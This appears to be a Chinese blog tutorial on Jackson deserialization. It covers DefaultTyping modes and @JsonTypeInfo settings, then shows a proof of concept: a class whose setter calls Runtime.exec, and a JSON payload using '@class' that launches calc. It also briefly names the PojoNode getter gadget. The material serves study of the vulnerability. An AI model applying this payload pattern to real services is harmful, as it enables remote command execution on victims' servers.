Featured image of post Jackson反序列化

Jackson反序列化

Jackson 基本使用

Jackson 简介

Jackson 是一个开源的Java序列化和反序列化工具,可以将 Java 对象序列化为 XML 或 JSON 格式的字符串,以及将 XML 或 JSON 格式的字符串反序列化为 Java 对象。

由于其使用简单,速度较快,且不依靠除 JDK 外的其他库,被众多用户所使用。

使用 Jackson 进行序列化与反序列化

依赖

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<dependencies>  
  <dependency>  
    <groupId>com.fasterxml.jackson.core</groupId>  
    <artifactId>jackson-databind</artifactId>  
    <version>2.7.9</version>  
  </dependency>  
  <dependency>  
    <groupId>com.fasterxml.jackson.core</groupId>  
    <artifactId>jackson-core</artifactId>  
    <version>2.7.9</version>  
  </dependency>  
  <dependency>  
    <groupId>com.fasterxml.jackson.core</groupId>  
    <artifactId>jackson-annotations</artifactId>  
    <version>2.7.9</version>  
  </dependency>  
</dependencies>

新建一个Person类

1
2
3
4
5
6
7
8
public class Person {
    public  int age;
    public String name;

    @Override
    public String toString() {
        return String.format("Person.age=%d, Person.name=%s", age, name);
    }

Test类进行序列化和反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Person person = new Person();
person.age = 20;
person.name = "ygsr";
ObjectMapper mapper = new ObjectMapper();

String json = mapper.writeValueAsString(person);
System.out.println(json);

Person person1 = mapper.readValue(json,Person.class);
System.out.println(person1);
  • writeValueAsString:将java对象序列化为JSON字符串
  • readValue: 将 JSON 数据反序列化为 Java 对象的方法

Jackson 对于多态问题的解决 —— JacksonPolymorphicDeserialization 机制

假设有一个父类和多个子类,JSON 数据中可能会包含不同类型的对象。Jackson 提供了几种方式来支持多态反序列化,其中最常用的是使用 @JsonTypeInfo@JsonSubTypes 注解。 就是将具体的子类信息绑定在序列化的内容中以便于后续反序列化的时候直接得到目标子类对象,其实现有两种,即 DefaultTyping@JsonTypeInfo 注解

Jackson 提供一个 enableDefaultTyping 设置

包含四个值

  • JAVA_LANG_OBJECT
  • OBJECT_AND_NON_CONCRETE
  • NON_CONCRETE_AND_ARRAYS
  • NON_FINAL

JAVA_LANG_OBJECT

JAVA_LANG_OBJECT:当被序列化或反序列化的类里的属性被声明为一个 Object 类型时,会对该 Object 类型的属性进行序列化和反序列化,并且明确规定类名。(当然,这个 Object 本身也得是一个可被序列化的类)

新建一个hack类

修改Person类,添加Object类型属性

1
2
3
4
5
6
7
8
public  int age;
public String name;
public Object object;

@Override
public String toString() {
  return String.format("Person.age=%d, Person.name=%s,%s", age, name,object == null ? "null" : object);
}

新建Test.java,添加enableDefaultTyping() 并设置为 JAVA_LANG_OBJECT

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Person person = new Person();
person.age = 20;
person.name = "ygsr";
person.object = new hack();
ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);

String json = mapper.writeValueAsString(person);
System.out.println(json);

Person person1 = mapper.readValue(json, Person.class);
System.out.println(person1);

如果不设置JAVA_LANG_OBJECT

可以发现设置了之后object属性被反序列化了,输出时是直接输出hack对象

OBJECT_AND_NON_CONCRETE

OBJECT_AND_NON_CONCRETE:除了前面提到的特征,当类里有 Interface、AbstractClass 类时,对其进行序列化和反序列化(当然这些类本身需要时合法的、可被序列化的对象)。

添加Sex接口

1
2
3
4
public interface Sex {
    public void setSex(int sex);
    public int getSex();
}

新建MySex类继承Sex接口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public class MySex implements Sex{
    int sex;
    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }

    @Override
    public int getSex() {
        return sex;
    }
}

修改Person类

1
2
3
4
5
6
7
8
9
public int age;
    public String name;
    public Object object;
    public Sex sex;

    @Override
    public String toString() {
        return String.format("Person.age=%d, Person.name=%s, %s, %s", age, name, object == null ? "null" : object, sex == null ? "null" : sex);
    }

修改Test

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Person person = new Person();
person.age = 20;
person.name = "ygsr";
person.object = new hack();
person.sex = new MySex();
ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);

String json = mapper.writeValueAsString(person);
System.out.println(json);

Person person1 = mapper.readValue(json, Person.class);
System.out.println(person1);

可以看到该Interface类属性被成功序列化和反序列化

不设置运行后报错

NON_CONCRETE_AND_ARRAYS

NON_CONCRETE_AND_ARRAYS:除了前面提到的特征外,还支持 Array 类型。

编写序列化与反序列化的代码,在 Object 属性中存在的是数组:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
  Person person = new Person();
  person.age = 20;
  person.name = "ygsr";
  hack[] hacks = new hack[2];
  hacks[0] = new hack();
  hacks[1] = new hack();

  person.object = hacks;
  person.sex = new MySex();
  ObjectMapper mapper = new ObjectMapper();

  mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);

  String json = mapper.writeValueAsString(person);
  System.out.println(json);

  Person person1 = mapper.readValue(json, Person.class);
  System.out.println(person1);
}}

``{“age”:20,“name”:“ygsr”,“object”:["[LJAVA_LANG_OBJECT.hack;",[[“JAVA_LANG_OBJECT.hack”,{“skill”:“dance”}],[“JAVA_LANG_OBJECT.hack”,{“skill”:“dance”}]]],“sex”:[“OBJECT_AND_NON_CONCRETE.MySex”,{“sex”:0}]}

类名变成了 ”[L”+类名+”;”,序列化 Object 之后为数组形式,反序列化之后得到[Lcom.mi1k7ea.Hacker; 类对象,说明对 Array 类型成功进行了序列化和反序列化:

NON_FINAL

NON_FINAL:除了前面的所有特征外,包含即将被序列化的类里的全部、非 final 的属性,也就是相当于整个类、除 final 外的属性信息都需要被序列化和反序列化。

这个不演示了

小结

@JsonTypeInfo 注解

@JsonTypeInfo 注解是 Jackson 多态类型绑定的一种方式,支持下面5种类型的取值:

1
2
3
4
5
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)  
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)  
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)  
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)  
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)

JsonTypeInfo.Id.NONE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Person2 p = new Person2();
p.age = 6;
p.name = "ygsr";
p.object = new hack();
ObjectMapper mapper = new ObjectMapper();

String json = mapper.writeValueAsString(p);
System.out.println(json);

Person2 p2 = mapper.readValue(json, Person2.class);
System.out.println(p2);
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public int age;
public String name;
//加上注解
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
public Object object;

@Override
public String toString() {
  return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);
}

不加注解结果也是一样

JsonTypeInfo.Id.CLASS

修改 Person2 类中的 object 属性 @JsonTypeInfo 注解值为 JsonTypeInfo.Id.CLASS

输出看到,object属性中多了 "@class":"com.drunkbaby.Hacker" ,即含有具体的类的信息,同时反序列化出来的object属性Hacker类对象,即能够成功对指定类型进行序列化和反序列化:

也就是说,在Jackson反序列化的时候如果使用了JsonTypeInfo.Id.CLASS修饰的话,可以通过@class的方式指定相关类,并进行相关调用。

JsonTypeInfo.Id.MINIMAL_CLASS

修改 Person2 类中的object属性 @JsonTypeInfo 注解值为 JsonTypeInfo.Id.MINIMAL_CLASS

输出看到,object属性中多了 "@c":"com.drunkbaby.Hacker",即使用 @c 替代了 @class,官方描述中的意思是缩短了相关类名,实际效果和 JsonTypeInfo.Id.CLASS 类似,能够成功对指定类型进行序列化和反序列化,都可以用于指定相关类并进行相关的调用:

JsonTypeInfo.Id.NAME

修改 Person2 类中的object属性 @JsonTypeInfo 注解值为 JsonTypeInfo.Id.NAME

输出看到,object 属性中多了 "@type":"Hacker",但没有具体的包名在内的类名,因此在后面的反序列化的时候会报错,也就是说这个设置值是不能被反序列化利用的:

JsonTypeInfo.Id.CUSTOM

这个值时提供给用户自定义的意思,我们是没办法直接使用的,需要手动写一个解析器才能配合使用,直接运行会抛出异常

反序列化中类属性方法的调用

使用 DefaultTyping

给MySex类加上构造方法

Test只进行反序列化和enableDefaultTyping无参

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 Person person = new Person();
  person.age = 20;
  person.name = "ygsr";
  person.sex = new MySex();
  ObjectMapper mapper = new ObjectMapper();

  mapper.enableDefaultTyping();

//  String json = mapper.writeValueAsString(person);
//  System.out.println(json);
    String json = "{\"age\":20,\"name\":\"ygsr\",\"object\":null,\"sex\":[\"OBJECT_AND_NON_CONCRETE.MySex\",{\"sex\":0}]}";

  Person person1 = mapper.readValue(json, Person.class);
  System.out.println(person1);

调用了构造方法和set方法

使用 @JsonTypeInfo 注解

Person类加上注解

结果和上面使用DefaultTyping 一样

Jackson 反序列化调试分析

打上断点后调试

先进行JsonToken初始化

跳到ObjectMapper,进行反序列化

进入后到BeanDeserializer

进入后跳到vanillaDeserialize方法

跟进到

继续跟进

这里判断JsonToken是否为空

一直跟下去

前面应该对每个属性进行逐一反序列化调用每个属性的setter方法赋值,这里轮到了sex属性,跟进

这里就进到Mysex的setter方法去了,其实一开始应该是到call方法去,从而进到Mysex的构造方法里

1
2
3
4
5
6
7
call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:243, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:249, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:19, Test (OBJECT_AND_NON_CONCRETE)

结论

在 Jackson 反序列化中,若调用了 **enableDefaultTyping()** 函数或使用 **@JsonTypeInfo** 注解指定反序列化得到的类的属性为 **JsonTypeInfo.Id.CLASS****JsonTypeInfo.Id.MINIMAL_CLASS**,则会调用该属性的类的构造函数和 setter 方法。

Jackson 反序列化漏洞

前提条件

满足下面三个条件之一即存在Jackson反序列化漏洞:

  • 调用了 ObjectMapper.enableDefaultTyping() 函数;
  • 对要进行反序列化的类的属性使用了值为 JsonTypeInfo.Id.CLASS@JsonTypeInfo 注解;
  • 对要进行反序列化的类的属性使用了值为 JsonTypeInfo.Id.MINIMAL_CLASS@JsonTypeInfo 注解;

漏洞场景

属性不为Object类时

给MySex的setter方法里加入恶意代码

反序列化完后弹计算器

一般来说这都是程序员才能修改源码,谁家好人会放后门在自己的源码里

属性为 Object 类时

当属性类型为 Object 时,因为 Object 类型是任意类型的父类,因此扩大了我们的攻击面,我们只需要寻找出在目标服务端环境中存在的且构造函数或 setter 方法存在漏洞代码的类即可进行攻击利用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class evil {
    public String cmd;

    public evil() {
    }

    public String getCmd() {
        return cmd;
    }

    public void setCmd(String cmd) {
        
        this.cmd = cmd;
        try
        {
            Runtime.getRuntime().exec(this.cmd);
            
        }catch (Exception e)
        {
            e.printStackTrace();
        }
    }
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import com.fasterxml.jackson.annotation.JsonTypeInfo;

public class EvilPerson {
    public int age;
    public String name;
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    public Object object;

    public EvilPerson() {
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Object getObject() {
        return object;
    }

    public void setObject(Object object) {
        this.object = object;
    }

    @Override
    public String toString() {
        return "EvilPerson{" +
                "age=" + age +
                ", name='" + name + '\'' +
                ", object=" + object +
                '}';
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
EvilPerson evilPerson = new EvilPerson();
    evilPerson.age = 1;
    evilPerson.name = "ygsr";
    evilPerson.object = new evil();
    ObjectMapper mapper = new ObjectMapper();

//        String json = mapper.writeValueAsString(evilPerson);
//        System.out.println(json);
    String json = "{\"age\":1,\"name\":\"ygsr\",\"object\":{\"@class\":\"evil\",\"cmd\":\"calc\"}}";
    EvilPerson person1 = mapper.readValue(json,EvilPerson.class);
    System.out.println(person1);

通杀

利用的是Jackson中的PojoNode 他的toString是可以直接触发任意的getter的 触发条件如下

  • 不需要存在该属性
  • getter方法需要有返回值
  • 尽可能的只有一个getter

很像fastjson漏洞

代码实现

最后更新于 Mar 03, 2025 07:35 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计